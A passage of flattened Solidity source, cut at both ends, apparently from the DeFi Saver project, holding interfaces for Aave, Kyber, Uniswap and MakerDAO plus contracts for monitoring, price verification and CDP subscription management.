success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface ExchangeInterface { function swapEtherToToken(uint256 _ethAmount, address _tokenAddress, uint256 _maxAmount) external payable returns (uint256, uint256); function swapTokenToEther(address _tokenAddress, uint256 _amount, uint256 _maxAmount) external returns (uint256); function swapTokenToToken(address _src, address _dest, uint256 _amount) external payable returns (uint256); function getExpectedRate(address src, address dest, uint256 srcQty) external view returns (uint256 expectedRate); } interface ExchangeInterfaceV2 { function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); } abstract contract Faucet { function gulp(address) public virtual; } abstract contract Flipper { function bids(uint _bidId) public virtual returns (uint256, uint256, address, uint48, uint48, address, address, uint256); function tend(uint id, uint lot, uint bid) virtual external; function dent(uint id, uint lot, uint bid) virtual external; function deal(uint id) virtual external; } abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } abstract contract Gem { function dec() virtual public returns (uint); function gem() virtual public returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; function approve(address, uint) virtual public; function transfer(address, uint) virtual public returns (bool); function transferFrom(address, address, uint) virtual public returns (bool); function deposit() virtual public payable; function withdraw(uint) virtual public; function allowance(address, address) virtual public returns (uint); } abstract contract GetCdps { function getCdpsAsc(address manager, address guy) external view virtual returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks); function getCdpsDesc(address manager, address guy) external view virtual returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks); } abstract contract IAToken { function redeem(uint256 _amount) external virtual; } abstract contract IAaveSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } abstract contract ICompoundSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public virtual view returns (address); function getLendingPoolCore() public virtual view returns (address payable); function getLendingPoolConfigurator() public virtual view returns (address); function getLendingPoolDataProvider() public virtual view returns (address); function getLendingPoolParametersProvider() public virtual view returns (address); function getTokenDistributor() public virtual view returns (address); function getFeeProvider() public virtual view returns (address); function getLendingPoolLiquidationManager() public virtual view returns (address); function getLendingPoolManager() public virtual view returns (address); function getPriceOracle() public virtual view returns (address); function getLendingRateOracle() public virtual view returns (address); } abstract contract ILoanShifter { function getLoanAmount(uint, address) public view virtual returns(uint); function getUnderlyingAsset(address _addr) public view virtual returns (address); } abstract contract IPriceOracleGetterAave { function getAssetPrice(address _asset) external virtual view returns (uint256); function getAssetsPrices(address[] calldata _assets) external virtual view returns(uint256[] memory); function getSourceOfAsset(address _asset) external virtual view returns(address); function getFallbackOracle() external virtual view returns(address); } abstract contract ITokenInterface is ERC20 { function assetBalanceOf(address _owner) public virtual view returns (uint256); function mint(address receiver, uint256 depositAmount) external virtual returns (uint256 mintAmount); function burn(address receiver, uint256 burnAmount) external virtual returns (uint256 loanAmountPaid); function tokenPrice() public virtual view returns (uint256 price); } abstract contract Join { bytes32 public ilk; function dec() virtual public view returns (uint); function gem() virtual public view returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } abstract contract Jug { struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; function drip(bytes32) public virtual returns (uint); } abstract contract KyberNetworkProxyInterface { function maxGasPrice() external virtual view returns (uint256); function getUserCapInWei(address user) external virtual view returns (uint256); function getUserCapInTokenWei(address user, ERC20 token) external virtual view returns (uint256); function enabled() external virtual view returns (bool); function info(bytes32 id) external virtual view returns (uint256); function getExpectedRate(ERC20 src, ERC20 dest, uint256 srcQty) public virtual view returns (uint256 expectedRate, uint256 slippageRate); function tradeWithHint( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId, bytes memory hint ) public virtual payable returns (uint256); function trade( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId ) public virtual payable returns (uint256); function swapEtherToToken(ERC20 token, uint256 minConversionRate) external virtual payable returns (uint256); function swapTokenToEther(ERC20 token, uint256 tokenQty, uint256 minRate) external virtual payable returns (uint256); function swapTokenToToken(ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minConversionRate) public virtual returns (uint256); } abstract contract Manager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } abstract contract OasisInterface { function getBuyAmount(address tokenToBuy, address tokenToPay, uint256 amountToPay) external virtual view returns (uint256 amountBought); function getPayAmount(address tokenToPay, address tokenToBuy, uint256 amountToBuy) public virtual view returns (uint256 amountPaid); function sellAllAmount(address pay_gem, uint256 pay_amt, address buy_gem, uint256 min_fill_amount) public virtual returns (uint256 fill_amt); function buyAllAmount(address buy_gem, uint256 buy_amt, address pay_gem, uint256 max_fill_amount) public virtual returns (uint256 fill_amt); } abstract contract Osm { mapping(address => uint256) public bud; function peep() external view virtual returns (bytes32, bool); } abstract contract OsmMom { mapping (bytes32 => address) public osms; } abstract contract OtcInterface { function buyAllAmount(address, uint256, address, uint256) public virtual returns (uint256); function getPayAmount(address, address, uint256) public virtual view returns (uint256); function getBuyAmount(address, address, uint256) public virtual view returns (uint256); } abstract contract PipInterface { function read() public virtual returns (bytes32); } abstract contract ProxyRegistryInterface { function proxies(address _owner) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract SaverExchangeInterface { function getBestPrice( uint256 _amount, address _srcToken, address _destToken, uint256 _exchangeType ) public view virtual returns (address, uint256); } abstract contract Spotter { struct Ilk { PipInterface pip; uint256 mat; } mapping (bytes32 => Ilk) public ilks; uint256 public par; } abstract contract TokenInterface { function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract UniswapExchangeInterface { function getEthToTokenInputPrice(uint256 eth_sold) external virtual view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external virtual view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external virtual view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external virtual view returns (uint256 tokens_sold); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external virtual returns (uint256 eth_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external virtual payable returns (uint256 tokens_bought); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_bought); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external virtual payable returns (uint256 eth_sold); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external virtual returns (uint256 tokens_sold); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_sold); } abstract contract UniswapFactoryInterface { function getExchange(address token) external view virtual returns (address exchange); } abstract contract Vat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log(address _contract, address _caller, string memory _logName, bytes memory _data) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract MCDMonitorProxyV2 is AdminAuth { uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _saverProxy Address of MCDSaverProxy /// @param _data Data to send to MCDSaverProxy function callExecute(address _owner, address _saverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_saverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } contract MCDPriceVerifier is AdminAuth { OsmMom public osmMom = OsmMom(0x76416A4d5190d071bfed309861527431304aA14f); Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); mapping(address => bool) public authorized; function verifyVaultNextPrice(uint _nextPrice, uint _cdpId) public view returns(bool) { require(authorized[msg.sender]); bytes32 ilk = manager.ilks(_cdpId); return verifyNextPrice(_nextPrice, ilk); } function verifyNextPrice(uint _nextPrice, bytes32 _ilk) public view returns(bool) { require(authorized[msg.sender]); address osmAddress = osmMom.osms(_ilk); uint whitelisted = Osm(osmAddress).bud(address(this)); // If contracts doesn't have access return true if (whitelisted != 1) return true; (bytes32 price, bool has) = Osm(osmAddress).peep(); return has ? uint(price) == _nextPrice : false; } function setAuthorized(address _address, bool _allowed) public onlyOwner { authorized[_address] = _allowed; } } abstract contract StaticV2 { enum Method { Boost, Repay } struct CdpHolder { uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; address owner; uint cdpId; bool boostEnabled; bool nextPriceEnabled; } struct SubPosition { uint arrPos; bool subscribed; } } contract SubscriptionsInterfaceV2 { function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external {} function unsubscribe(uint _cdpId) external {} } contract SubscriptionsProxyV2 { address public constant MONITOR_PROXY_ADDRESS = 0x7456f4218874eAe1aF8B83a64848A1B89fEB7d7C; address public constant OLD_SUBSCRIPTION = 0x83152CAA0d344a2Fd428769529e2d490A88f4393; address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; function migrate(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(OLD_SUBSCRIPTION).unsubscribe(_cdpId); subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled, _subscriptions); } function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(MONITOR_PROXY_ADDRESS, address(this), bytes4(keccak256("execute(address,bytes)"))); SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function update(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function unsubscribe(uint _cdpId, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).unsubscribe(_cdpId); } } contract SubscriptionsV2 is AdminAuth, StaticV2 { bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; bytes32 internal constant BAT_ILK = 0x4241542d41000000000000000000000000000000000000000000000000000000; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; CdpHolder[] public subscribers; mapping (uint => SubPosition) public subscribersPos; mapping (bytes32 => uint) public minLimits; uint public changeIndex; Manager public manager = Manager(MANAGER_ADDRESS); Vat public vat = Vat(VAT_ADDRESS); Spotter public spotter = Spotter(SPOTTER_ADDRESS); MCDSaverProxy public saverProxy; event Subscribed(address indexed owner, uint cdpId); event Unsubscribed(address indexed owner, uint cdpId); event Updated(address indexed owner, uint cdpId); event ParamUpdates(address indexed owner, uint cdpId, uint128, uint128, uint128, uint128, bool boostEnabled); /// @param _saverProxy Address of the MCDSaverProxy contract constructor(address _saverProxy) public { saverProxy = MCDSaverProxy(payable(_saverProxy)); minLimits[ETH_ILK] = 1700000000000000000; minLimits[BAT_ILK] = 1700000000000000000; } /// @dev Called by the DSProxy contract which owns the CDP /// @notice Adds the users CDP in the list of subscriptions so it can be monitored /// @param _cdpId Id of the CDP /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled /// @param _nextPriceEnabled Boolean determing if we can use nextPrice for this cdp function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(manager.ilks(_cdpId), _minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[_cdpId]; CdpHolder memory subscription = CdpHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, owner: msg.sender, cdpId: _cdpId, boostEnabled: _boostEnabled, nextPriceEnabled: _nextPriceEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender, _cdpId); emit ParamUpdates(msg.sender, _cdpId, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender, _cdpId); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe(uint _cdpId) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); _unsubscribe(_cdpId); } /// @dev Checks if the _owner is the owner of the CDP function isOwner(address _owner, uint _cdpId) internal view returns (bool) { return getOwner(_cdpId) == _owner; } /// @dev Checks limit for minimum ratio and if minRatio is bigger than max function checkParams(bytes32 _ilk, uint128 _minRatio, uint128 _maxRatio) internal view returns (bool) { if (_minRatio < minLimits[_ilk]) { return false; } if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list function _unsubscribe(uint _cdpId) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_cdpId]; require(subInfo.subscribed, "Must first be subscribed"); uint lastCdpId = subscribers[subscribers.length - 1].cdpId; SubPosition storage subInfo2 = subscribersPos[lastCdpId]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender, _cdpId); } /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Helper method for the front to get all the info about the subscribed CDP function getSubscribedInfo(uint _cdpId) public view returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, 0, 0, 0, 0, address(0), 0, 0); (coll, debt) = saverProxy.getCdpInfo(manager, _cdpId, manager.ilks(_cdpId)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return ( true, subscriber.minRatio, subscriber.maxRatio, subscriber.optimalRatioRepay, subscriber.optimalRatioBoost, subscriber.owner, coll, debt ); } function getCdpHolder(uint _cdpId) public view returns (bool subscribed, CdpHolder memory) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, CdpHolder(0, 0, 0, 0, address(0), 0, false, false)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return (true, subscriber); } /// @notice Helper method for the front to get the information about the ilk of a CDP function getIlkInfo(bytes32 _ilk, uint _cdpId) public view returns(bytes32 ilk, uint art, uint rate, uint spot, uint line, uint dust, uint mat, uint par) { // send either ilk or cdpId if (_ilk == bytes32(0)) { _ilk = manager.ilks(_cdpId); } ilk = _ilk; (,mat) = spotter.ilks(_ilk); par = spotter.par(); (art, rate, spot, line, dust) = vat.ilks(_ilk); } /// @notice Helper method to return all the subscribed CDPs function getSubscribers() public view returns (CdpHolder[] memory) { return subscribers; } /// @notice Helper method to return all the subscribed CDPs function getSubscribersByPage(uint _page, uint _perPage) public view returns (CdpHolder[] memory) { CdpHolder[] memory holders = new CdpHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; uint count = 0; for (uint i=start; i<end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to change a min. limit for an asset function changeMinRatios(bytes32 _ilk, uint _newRatio) public onlyOwner { minLimits[_ilk] = _newRatio; } /// @notice Admin function to unsubscribe a CDP function unsubscribeByAdmin(uint _cdpId) public onlyOwner { SubPosition storage subInfo = subscribersPos[_cdpId]; if (subInfo.subscribed) { _unsubscribe(_cdpId); } } } contract BidProxy { // address public constant ETH_FLIPPER = 0xd8a04F5412223F513DC55F839574430f5EC15531; // address public constant BAT_FLIPPER = 0xaA745404d55f88C108A28c86abE7b5A1E7817c07; // address public constant DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; // address public constant ETH_JOIN = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; // address public constant BAT_JOIN = 0x3D0B1912B66114d4096F48A8CEe3A56C231772cA; // bytes32 public constant BAT_ILK = 0x4241542d41000000000000000000000000000000000000000000000000000000; // bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; // address public constant SAVER_EXCHANGE = 0x606e9758a39d2d7fA7e70BC68E6E7D9b02948962; // function daiBid(uint _bidId, bool _isEth, uint _amount) public { // uint tendAmount = _amount * (10 ** 27); // address flipper = _isEth ? ETH_FLIPPER : BAT_FLIPPER; // joinDai(_amount); // (, uint lot, , , , , , ) = Flipper(flipper).bids(_bidId); // Vat(VAT_ADDRESS).hope(flipper); // Flipper(flipper).tend(_bidId, lot, tendAmount); // } // function collateralBid(uint _bidId, bool _isEth, uint _amount) public { // address flipper = _isEth ? ETH_FLIPPER : BAT_FLIPPER; // uint bid; // (bid, , , , , , , ) = Flipper(flipper).bids(_bidId); // joinDai(bid / (10**27)); // Vat(VAT_ADDRESS).hope(flipper); // Flipper(flipper).dent(_bidId, _amount, bid); // } // function closeBid(uint _bidId, bool _isEth) public { // address flipper = _isEth ? ETH_FLIPPER : BAT_FLIPPER; // address join = _isEth ? ETH_JOIN : BAT_JOIN; // bytes32 ilk = _isEth ? ETH_ILK : BAT_ILK; // Flipper(flipper).deal(_bidId); // uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)) / (10**27); // Vat(VAT_ADDRESS).hope(join); // Gem(join).exit(msg.sender, amount); // } // function closeBidAndExchange( // uint _bidId, // bool _isEth, // uint256[4] memory _data, // address _exchangeAddress, // bytes memory _callData // ) // public { // address flipper = _isEth ? ETH_FLIPPER : BAT_FLIPPER; // address join = _isEth ? ETH_JOIN : BAT_JOIN; // (uint bidAmount, , , , , , , ) = Flipper(flipper).bids(_bidId); // Flipper(flipper).deal(_bidId); // Vat(VAT_ADDRESS).hope(join); // Gem(join).exit(address(this), (bidAmount / 10**27)); // address srcToken = _isEth ? KYBER_ETH_ADDRESS : address(Gem(join).gem()); // uint daiAmount = swap( // _data, // srcToken, // DAI_ADDRESS, // _exchangeAddress, // _callData // ); // ERC20(DAI_ADDRESS).transfer(msg.sender, daiAmount); // } // function exitCollateral(bool _isEth) public { // address join = _isEth ? ETH_JOIN : BAT_JOIN; // bytes32 ilk = _isEth ? ETH_ILK : BAT_ILK; // uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)); // Vat(VAT_ADDRESS).hope(join); // Gem(join).exit(msg.sender, amount); // } // function exitDai() public { // uint amount = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); // Vat(VAT_ADDRESS).hope(DAI_JOIN); // Gem(DAI_JOIN).exit(msg.sender, amount); // } // function withdrawToken(address _token) public { // uint balance = ERC20(_token).balanceOf(address(this)); // ERC20(_token).transfer(msg.sender, balance); // } // function withdrawEth() public { // uint balance = address(this).balance; // msg.sender.transfer(balance); // } // function joinDai(uint _amount) internal { // uint amountInVat = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); // if (_amount > amountInVat) { // uint amountDiff = (_amount - amountInVat) + 1; // ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), amountDiff); // ERC20(DAI_ADDRESS).approve(DAI_JOIN, amountDiff); // Join(DAI_JOIN).join(address(this), amountDiff); // } // } } abstract contract IMCDSubscriptions { function unsubscribe(uint256 _cdpId) external virtual ; function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool); } abstract contract GemLike { function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual; function transferFrom(address, address, uint256) public virtual; function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract ManagerLike { function cdpCan(address, uint256, address) public virtual view returns (uint256); function ilks(uint256) public virtual view returns (bytes32); function owns(uint256) public virtual view returns (address); function urns(uint256) public virtual view returns (address); function vat() public virtual view returns (address); function open(bytes32, address) public virtual returns (uint256); function give(uint256, address) public virtual; function cdpAllow(uint256, address, uint256) public virtual; function 